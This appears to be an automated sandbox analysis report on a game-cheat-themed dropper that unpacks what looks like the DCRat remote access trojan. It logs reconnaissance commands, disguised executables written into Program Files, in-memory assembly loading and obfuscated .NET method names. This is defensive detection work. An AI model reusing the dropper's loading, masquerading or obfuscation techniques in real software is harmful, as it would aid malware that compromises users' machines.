Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll

Source: C:\Users\user\Desktop\6tGWMkdYv4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Common Files\bMCzMxeQsb.exe
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Common Files\0fc9465337303e
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Windows Multimedia Platform\bMCzMxeQsb.exe
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Windows Multimedia Platform\0fc9465337303e
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Microsoft\OneDrive\conhost.exe
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Microsoft\OneDrive\088424020bedd6

Source: 6tGWMkdYv4.exe

Static file information: File size 12000768 > 1048576

Source: 6tGWMkdYv4.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0xb70000

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: CheatLauncherV2.exe, 00000009.00000003.2119036104.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 0000000A.00000000.2122054385.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmp, DCRatBuild.exe, 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmp, DCRatBuild.exe, 0000000A.00000003.2126584011.0000000006CDC000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 0000000A.00000003.2128404238.0000000005503000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws2_32.pdb source: ws2_32.dll.13.dr
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb source: Microsoft.Web.WebView2.Wpf.dll.13.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: api-ms-win-crt-filesystem-l1-1-0.dll.13.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Built.exe, 0000000C.00000003.2138694070.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\SolaraBootstrapper\SolaraBootstrapper\obj\Debug\SolaraBootstrapper.pdbgI source: CheatLauncherV2.exe, 00000009.00000002.2142214795.0000000001088000.00000004.00000020.00020000.00000000.sdmp, SolaraBootstrapper.exe, 0000000D.00000000.2139033491.0000000000662000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: Built.exe, 0000000C.00000003.2138694070.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb% source: Microsoft.Web.WebView2.Wpf.dll.13.dr
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\SolaraBootstrapper\SolaraBootstrapper\obj\Debug\SolaraBootstrapper.pdb source: CheatLauncherV2.exe, 00000009.00000002.2142214795.0000000001088000.00000004.00000020.00020000.00000000.sdmp, SolaraBootstrapper.exe, 0000000D.00000000.2139033491.0000000000662000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: ws2_32.pdbUGP source: ws2_32.dll.13.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, PwiJFNqlrXJuYCITBoy.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, AuNQZ97e1sk8m1IwXPh.cs	.Net Code: cxPGXOuV1V System.AppDomain.Load(byte[])
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, AuNQZ97e1sk8m1IwXPh.cs	.Net Code: cxPGXOuV1V System.Reflection.Assembly.Load(byte[])
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, AuNQZ97e1sk8m1IwXPh.cs	.Net Code: cxPGXOuV1V

Source: SolaraBootstrapper.exe.9.dr

Static PE information: 0x9EA529E4 [Tue May 5 20:04:52 2054 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline"

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

File created: C:\agentInto\__tmp_rar_sfx_access_check_6276328

Source: DCRatBuild.exe.9.dr	Static PE information: section name: .didat
Source: Built.exe.9.dr	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll.12.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.12.dr	Static PE information: section name: _RDATA
Source: libffi-8.dll.12.dr	Static PE information: section name: UPX2
Source: msvcp140.dll.13.dr	Static PE information: section name: .didat

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FDE28C push eax; ret		10_2_00FDE2AA
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FDED46 push ecx; ret		10_2_00FDED59

Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, cDoH6CG5MBBuUc36qiL.cs	High entropy of concatenated method names: 'b9gMOftC82', 'WjFMnqiM5U', 'FeKM0xB2r9', 'UU2iDcvAcZa3RXwrHIK', 'l4bqh1viIm0tihQuuET', 'C8jJKKvGtnJwiPouKJ5', 'XiW8XfvTIoPSkDDbSGN', 'YjXo4KvXOMelCoKLgTM', 'sDxQouvmDSa7oe9VMg4', 'SnDa8WvQaVS7fwvKaxO'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, CZvPIrG8FlGkPUvak38.cs	High entropy of concatenated method names: 'sg9', 'xltA4lVqaw', 'pAFesNQCZN', 'v2fAKYlhKw', 'oYEjjcxGKQgxDqPLNYr', 'wgFRrTxTwSdMcMk9pU4', 'IEG462xXWbkP0m4s5Ns', 'evOiigxAOGyxRHEOM0D', 'nX8A9hxi2ASxB6sBf4r', 'N7aL92xmUhWx16S1C8A'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, jpHk1yjOTsBAeIkessY.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'BondUw2vlJL5dbC7cQc', 'GdonKp2LboUwJbqJXYN', 'Iqo2Tw2xyov5wP3LCAO', 'lMaV7G2qbeqLnOsPaLf', 'irbyNc2ElrSTAipnc47', 'fAsP9w2UG2Vs2wDdGAe'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, pehPoijakd31BZrhW4R.cs	High entropy of concatenated method names: 'xRWjFhHF4A', 'ogKMEQREYDjdg0jIgxU', 'A0ww27RUfVtJSErCSSo', 'htYb0JRxacv2la90Zml', 'HDMRCyRq3t6YnYF8XK8', 'E5imZwRMlIBv9RDPgq7', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, OtXhsNBTJQCw6bC31vP.cs	High entropy of concatenated method names: 'QpjNyS2B7m', 'SdmNSoQaYj', 'E68NiHlQJI', 'fYRNgDqfV5', 's43NpstDsm', 'WvBIRjUwvLIJxZGCPYk', 'dPASSWUzMWh3jckSHWP', 'd0QbInU8PgaHprNAnB8', 'TqtTAgUslRO3GZRMdfB', 'IbeG1GM4yfr533eEOrA'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, uh0NCTj977uEeWtOahf.cs	High entropy of concatenated method names: 'H247ADatCR', 'W2h7cnEjOQ', 'zmO71vRfe6', 'o4j1w7f2uoiNMaHgRLC', 'jkxrLZf0h7OCEMkWjIP', 'L58UkpfR9p9nyEQAMHM', 'e6p9vtff7eDRge7EQl2', 'rM7CQofNRQFWMvVccuc', 'STbqAyfoFLKh34ZUkSI', 'IgZRjMfusZkId3dYWHy'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, fulKZEBFH7EiJ8icHjV.cs	High entropy of concatenated method names: 'PEFXsyBRV8', 'xbAXaiQFox', 'tx6XytdUVa', 'kqqXSmE9sW', 'dwbXiR2hbM', 'bE9XgkgN7q', 'EXPXpoKkb9', 'pg3Xtys5aW', 'v1wX8PidWh', 'tStX3ldkyf'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, VKpqjwG168KdSGnhtqb.cs	High entropy of concatenated method names: 'sQkeRt5mNS', 'MUBeDDCIaR', 'owILokxJBY9lUAxLOAX', 'fO8HZEx3g0U3hiWll6x', 'fJDTvIxDTQopdquWOE7', 'Rs7cxhx17bLUvSi4Dxd', 'yMJIGbxt2Od5EevlqRb', 'lYepmlxveiKsaYxXKB0'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, PVY4tFHQ7XXT0WWcEY.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'Forpioe19', 'c1uMFgn3mZDbQRg98m8', 'HVJKiPnt0UlMcJmBVOe', 'nfCRXlnvaXrbEDHgmWM', 'pOTxERnLiZoyySeVlXq', 'C8OuJHnx8BYldlXqmP4'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, a8vkAG7d0BqYZCgjHrS.cs	High entropy of concatenated method names: 'GLiBlQ65hR', 'xuPBX9YDLt', 'YjuZu85EE6KXtx8wNEx', 'QDtRBv5ULn15lR2K2CV', 'UHpPYM5xrGurRPK7ddX', 'SZCxV35qcjERpkhRxmI', 'UO0Mpb5MejnkShmJZrO', 'rjNRos5YAb4crwGitoc', 'U7mmHW5dsFUQBqeGt9Z', 'vSSZvO57Y2sc0sZOFNV'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, pqX9Zljj8oVTqhCGRZ3.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'CmhZpgV33f2E4JoBtcG', 'uVZWZbVt62YFggZx2ve', 'jVhsV7Vvx4QycFku0Jp', 'JMK1D1VL7wejDm6S34S', 'G59oxpVxf4bP93dYMGG', 'qlFM29VqmyX2QCXLta5'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, dRYC63Vtd2ApIL6Uan.cs	High entropy of concatenated method names: 'D7HaD1VhC', 'cPsyfxKhK', 'KMGSQWyJt', 's7hYLibSTlSdhCDwKvk', 'xTB2WTbjg2qT0Z6RSCC', 'NCnrQKbFwVf45kK63YE', 'eredE4by3gBBTXu4rjd', 'ssUhOMbOxZS90ypGSLq', 'htlvjwbepvJiQaYFNxj', 'hLCy70bZc4ReSKKNE70'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, VHn5vbjPKJNprkm6fR4.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'plG7eO94OedPXgSuBdq', 'H2JN1N9bId1I2uSwQ47', 'fbJjXP9nW23KwnVQZVS', 't9yhyE9PcHFAK0myfRO', 'XYTSEy9p9GXR56W5ZPJ', 'GydWOR9ILBixA6FVobO'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, SVQe3L2Er47j1MOHXOy.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'gaSucjZ2Rh', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, gcIHtIBZ1LY2DqivQV5.cs	High entropy of concatenated method names: '_7zt', 'mB4T4pbsZ0', 'zoQTdKXEgh', 'B6fTQAR5lN', 'bOhTI8E56e', 'MZ4TAqoInt', 'LwXTcrBcY1', 'unVQvWMxV0DC4L6AXBk', 'OYViVQMqooaVhEq7wGV', 'CrwsRTMvCBMjxmA6OHD'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, Ossnjo0QyZiJ5JAcIo.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'w2LaqeI5S9w1GpYnbl9', 'pwlQUIIkscTsmBh3BBA', 'h2KXEwIDgka8Ua7vKtf', 'vkXSbRI1MgCM4m4yTcY', 'iK6y7HIJsqGkfIVHT6h', 'hSjhh2I3iofWB14Qsxo'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, YyRnC9pZxVbMTAGgZs.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'U1Fa1pPC0t65XhO2aTx', 'v2TBcCP8ZaYLMoosbGu', 'vobBtuPsAhnldIX6Yi5', 'wUxLo9PwwY4O85MHrXF', 'lVCJUtPztOijWoueQHy', 'iFRdcAp4W3x6Duuk0y3'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, hsBPr1j0gYjF5Ub3nUd.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 's4XMG12KmBmnfOqfafi', 'MlsPlq2hsiXJT66hM1o', 'JGVwIO2gLNcnNAf8YVW', 'IC0ss12Wv816MOVxxo4', 'hvKQOv2jdYv7vqkj45v', 'NUp3tj2FHEhhv75kwZU'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, t65hRu7ruP9YDLth6mc.cs	High entropy of concatenated method names: 'AgU7ubXle8', 'zkw7Vo3HWX', 'LRP7wwiNjO', 'AXThtlfh9AWk5xK7u9R', 'rNVlIGfgb3X263KfrsQ', 'RcLP7YfWscJuRw9RgVJ', 'pUy8y0fjZDZ63xHke8n', 'rpqMo0fF74KrbZfuGiv', 'ycsGb4fSCx0L2wxSK16', 'YSlOpafcRGf76kODQeP'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, UX0A502h2RvUdwsQHVF.cs	High entropy of concatenated method names: 'oLN1mZxnWt', 'Q921CA2y8j', 'xfr1WI8mq4', 'GyU6PvFW7ntc3vjnusO', 'COMWUpFhtDlM5ar4x1A', 'Kk9sekFg3FnR2pr6YEV', 'rL3sFnFjbWZm0n87sY3', 'CEkP5eFFHjBxPlkQAwv'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, LXZZ6hjXTmwNLrV8ECV.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'uwU45X6yWkacSTmPZOg', 'mpjCQj6OQsXx2qYCfJL', 'TyvmNj6e1mf3TEX9VIQ', 'lLkAay6Zh2NXbOeeKjy', 'ef9WfU6BFqfe80uXCur', 'k61Grg6aj0oo4KsXtYY'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, OH5nhXGPX0R6pWBLlyx.cs	High entropy of concatenated method names: 'uuFMo63P4u', 'tiKMFc2PMo', 'wE0MUYQiTm', 'GGcMvFCtXh', 'XNJMEQCw6b', 'KFR14yLVNiHg2HK5QBj', 'F94iMqL6PnTtuUepdyq', 'aB9DRnLpVnaos7kBBGL', 'K6sfE1LIfhQduKucvkp', 'bRqy0YL9MiD0uIN27GQ'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, RttIBY66khC7snnwuMY.cs	High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, FDGxS4Bvoh3yQfmFZGx.cs	High entropy of concatenated method names: 'OLikuqtMtn', 'MdfkwBstmP', 'R3iklUaDy6', 'BVakX2jtyx', 'DZKkkitOZv', 'Tmdk5iIKlF', 'xltkLDAZV1', 'N6gkP5IrI3', 'KVTkZ3fQhb', 'ir8k4cnCuH'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, cThpAHBQUaPwm87QA2M.cs	High entropy of concatenated method names: 'x0aTDxjYLy', 'WkuTaNS26X', 'Ub7TyXmLeC', 'rlLTSp9P4H', 'WPwTipUyLo', 'qVRVkOMWpVWd6kAYqZc', 'QUMe2YMjmo2JStCaKaf', 'rZx4TVMhMlKkGUkXPi9', 'ALEHrvMgITBecfNR76F', 'nPGte9MFRbB1tcgv6Rv'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, vV522i7ZE40TeqEvC58.cs	High entropy of concatenated method names: 'xNgGzAbllW', 'kwaBrYLHsR', 'mPJBjOjn8s', 'lxLB7skrsk', 'rUdBGk6kxY', 'htABBmPa4F', 'leKB2nQbnp', 'Ou5B6vtc9F', 'idnBqac0WI', 'IFLBMJsnyQ'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, P5bZLZDpixqokS8hZG.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'hX93YqaJf', 'h6xfxHnWRp9Rss4uS1Z', 'VFFxRrnjMoxBcKkM4OV', 'uQ45A2nF3BGQrK5X4JM', 'y4SwBunSto4BOvc9GdX', 'fFUV5LnyUxGXkC5GUh7'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, jfVOQB7phZ3R01Jhhi6.cs	High entropy of concatenated method names: 'nXB6MIwLp5', 'hoR6eruoSm', 'uSla601HxPfnbrP0Yqq', 'nZCOTx1CKx4i2YIPk4a', 'IDDsq81QfcgjvLTNphZ', 'p3HoUP1l2Rbt4OkK20t', 'KAa6L0Xwnt', 'GAeM94J4bgAcmC9RhIJ', 'Ha2r8xJb7ulPXcXtw6b', 'rXb6hv1wvVGrif9nJvP'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, ArE3fyBL11wZX2Vo8lG.cs	High entropy of concatenated method names: 'UinTBUG2YE', 'Wx7T2OLKUw', 'PmQT6BrmJ7', 'MYnQwfMDf46x2MHwEu4', 'u4bq4jM1IlbEaBE58GZ', 'VmpFQ2M5WrHRpUVH9PD', 'gQD6n3MkpbhgKcI2ALW', 'YfjtcrMJoNTolDnD8Jm', 'PgJZCfM3UTXwUoQSmOO', 'kHBc3bMtZaDycVvrbAh'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, BvHwtj7LhEroIviqxEh.cs	High entropy of concatenated method names: 'RUdGsNT6La', 'nNlG90f05q', 'zIDJhTu37mly2CanKXx', 'vytibOutA1FlUgtdsDe', 'smXHs5uvCUB5R97gCtX', 'EMaqnBuLfImH81AgW9E', 'MG5irPuxjUNVgTvqj0S', 'WGUqOcuquSPEnC1Vb9J', 'RDw8sguE2snKLt77ohh', 'KvjQIAuU86UytcbhlKN'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, VpNA1W2a7t0HOZufD0b.cs	High entropy of concatenated method names: 'TWuurZL3es', 'cVhIuqF8VQFITb9FwU6', 'uaRq2sFH3J4tIFnwlQ7', 'rtoNrHFCXfmS2opDnpD', 'W993B8FsPKiLmZS5xxn', 'jMwMAuFwFJIhFq7bYdm', 'qKuYHWFzvdnDBGd6Q4g'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, CYetAmjvPa4FTeKnQbn.cs	High entropy of concatenated method names: 'HkN74c5oiO', 'aMJcWUfVLwUapRvWGIj', 'bX6LDif67K8Qc3dLY69', 'pMs1A1fpHeAtTkF2Ruv', 'zZ34eVfI0LiAYUTS9wb', 'fg2cIsf9nheMkAoVqnk', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, Tm4L3n2R0b6JWxf6iC1.cs	High entropy of concatenated method names: 'Ovb1o5QYId', 'NXJ1FGs9MW', 'XAD1Up7tZW', 'vUn1vrff4i', 'rui1EAs2dp', 'YbL1srkZec', 's3uJ5nFGxCRZjjsPUGH', 'hI2WiFFAK1JmRcsq0PB', 'jXMoVnFi6R6Vr9lSrSA', 'qvcSv2FT82CfrBndtlE'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, B0geDtFIA8quRWhHF4.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'Qs89rYIdCA55flbxPt2', 'rM0xSQI7hGSFcRcJ97B', 'io6PBkIrVRNQVidaCUV', 'DJUvX0IcoAlGy43xST8', 'JtWcSYIKCggsIBxAbgO', 'MvZNu9Ih6nqxMZLqEMV'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, LRPwiNjJjODEJpjdQ8A.cs	High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'rMHyXA630hoWy6J3PXL', 'GQCBae6taqL5KYEeILU', 'KFBAsm6vRxlhv07bFaO', 'IW42Ft6LRY62Zk5cZ1b', 'uvTMME6xI5vGf5nxuv1', 'GyqxSN6qB26xeP2649B'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, Gm6tGI8anXrv7qZOwk.cs	High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'JwBmR4p2Ssy6KP01s2d', 'PSeMlMpfgTmANVMbnPI', 'oWGjmgpNpc0MMZ36ryj', 'Jlx1cUpoqqdU6oi4t9i', 'VpnCrdpuCb5aqpV6ndB', 'Uhbtiip5ugWxx5kl0pp'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, n54QmrBeFsdGR6nbqvj.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, cC6PbMjWAunEeH141VJ.cs	High entropy of concatenated method names: 'PEA7JHHufa', 'xXW7NiAUrM', 'hNoOip2fwhC7x9NWEBy', 'MRyNvo2R5m7ItGdjWWP', 'ntar4n22eqCV7h5u1Mm', 'ElWcwI2NEwENnSVg7Hl', 'AHha1J2oFMVHPAYQ7Nm', 'dpqRXC2uMN0SukaYRaL', 'ExFVLf25XmuR3gvpFO5', 'WPgDKO2kfmUkh4eDRmX'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, sWItAxB2SOmd1ZLFSKk.cs	High entropy of concatenated method names: 'lJDNLX0kSW', 'wBKd0EUJUvDJO7w04mB', 'aExToDU388st32VQXav', 'UvvUC8UDguUl2kgSshB', 'YDS0n0U1EY4t2QAyVBF', 'PmvbfCDvel', 'cvPbHvosmv', 'bp5bRAdeGB', 'iJebDUY4ee', 'PIBbagLdRo'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, aFihmrj2OnYkC1Py4xi.cs	High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'isxLhiVA7gl4WOvXGRT', 'fxfD4sVi8wExBag1cmR', 'MNZ0PtVGZEdEsXRivZV', 'HEdcHEVTW8LQVIWhal9', 'pBnMF3VXKYsHPPcjPR8', 'v6BTHaVmeUkdlZk0uUE'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, D0oQ0eGOAgFpcBRBuqt.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'fPsAQCR7uD', '_168', 'f1D6oOqUkwgPsxGeYQM', 'VnXJgPqMHd5g69RUcbW', 'ASM8W4qYA86u5d3MUYt', 'TlPKMVqdRm1Y14xZlLh', 'bKlMWnq7cLIHDYNAvlp'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, PmDCg2zWhJP4bAoSgR.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'QBclBVVPTAAHsLZpUtD', 'mRbOlUVpjuKa0rX7xyh', 'yJcTfXVIuuPLsL5YjFi', 'uOYuKmVVYxaxbhY7jTH', 'FrvwRRV6IGtjB1u1nZm', 'xvBlMRV9vntW0ImoL32'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, HRFXV577HGmqgxbLnT9.cs	High entropy of concatenated method names: 'FAx7KPKtJI', 'XdW7OYIECO', 'dPM7niIEI7', 'EY270v68nU', 'ygH7oeEoW2', 'Uu57Fb1HUy', 'X0tmPtN1ypQ1NYw6Fr1', 'Jx8VZANJOcfVbrOx9al', 'o1x7SjNk4JNGn5JwN0X', 'JGPcP4NDpZCmop3TLuB'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, EiV5uC2wRrFQyjRnYhe.cs	High entropy of concatenated method names: 'M1G1go4fjH', 'Hvo1p5092C', 'bbM1tr813V', 'PLH18jnUGn', 'HDP13fcruL', 'rXq0FPFdLtk2POj26uL', 'pqJ2RGFM1VnvwhbIfMH', 'zu7Wp7FYowdMTaLBhyu', 'TB93OjF7i7kSu3PnVW6', 'u9jHoBFrXAjZpqBX1o9'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, RtNVnKjc12rGF0t9gIg.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'rSDhKK9WIYgt7DxEpqC', 'zMTkBx9j2OtTyxIek7w', 'wTkhIF9FhxP3x9lBPR1', 'iUb6uj9Sp5qpBoTDV7b', 'YdGhUp9yigdErgFwYdO', 'XvjrJM9O1iXULkg0E0o'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, hdaiwMGmQi1JPIbGmwk.cs	High entropy of concatenated method names: '_5u9', 'CygAroxOto', 'TsTbrmo8c2', 'QS2AlmDrRq', 'PO832cx8Pg71utjW0GY', 'mdW9UexsoVmtmVNm51a', 'nwbd6MxwD6pjhLKFN7a', 'BdDYBNxHRsay34mRrrO', 'Tdaf2fxCZrylIqWa4l4', 'Gi7oSVxzfqjT8IZrFE5'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, SJ3uZojGtpcuyb5kUVU.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'Nl05eeVrwWh8Pqr1udm', 'CtRtGjVcQd0uxUwjFxe', 'zwviEwVKDZTm7mwkAfm', 'nobLi9Vhp9uJ7fXn17e', 'cD3AsuVge7qGr2OAwth', 'J5w24xVWfkFQwmjPpiS'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, io5d7iquEJvV6aenF9C.cs	High entropy of concatenated method names: 'lwMH1TuSjI', 'QMwHuSeSgg', 'sL3HVId6kZ', 'yQDHwgHaGO', 'UBXHYIFtyF', 'wWrHhFDUXi', 'TIyHxQ72EZ', 'rCqHfufv3g', 'ghbHHoBsn1', 'USMHR0CRmT'
